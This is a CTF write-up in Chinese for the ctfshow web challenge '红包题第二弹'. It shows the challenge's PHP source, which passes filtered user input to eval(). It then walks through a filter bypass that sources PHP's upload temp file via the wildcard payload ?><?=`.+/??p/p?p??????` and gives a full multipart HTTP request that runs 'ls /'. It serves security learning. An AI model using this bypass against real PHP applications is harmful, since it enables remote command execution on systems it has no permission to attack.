CTFshow--web--红包题第二弹

news2024/11/24 14:40:16

查看源代码，按注释提示，构造参数试试?cmd=aa

<?php
#error_reporting(0);
?>
<html lang="zh-CN">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
    <meta name="viewport" content="width=device-width  minimum-scale=1.0  maximum-scale=1.0  initial-scale=1.0" />
    <title>ctf.show_红包题</title>
</head>
<body>
    <center>
    <h2>ctf.show_红包题</h2>
    <h4>where is the flag?</h4>
    </center>
    <!-- hint:?cmd= -->
    <?php
        if(isset($_GET['cmd'])){
            $cmd=$_GET['cmd'];
            highlight_file(__FILE__);
            if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
            
                die("cerror");
            }
            if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\（|\）|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
                die("serror");
            }
            eval($cmd);
        
        }
    
     ?>

</body>
</html>

源码中过滤了很多东西，可以使用的字符：p ` ? / + < > =

通过可用的字符构造cmd=?><?=`.+/??p/p?p??????`，由eval（$cmd）来运行临时文件

备注：问号?代表一个任意字符，通配符/??p/p?p??????匹配/tmp/phpxxxxxx

构造payload

?cmd=?><?=`.+/??p/p?p??????`;

然后bp抓包，修改这几个地方，发现根目录下有flag.txt

POST /?cmd=?><?=`.+/??p/p?p??????`; HTTP/1.1
Host: 4947507e-e5ac-452c-8f01-80f5309742d9.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Length: 237

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/sh

ls /
-----------------------------10242300956292313528205888--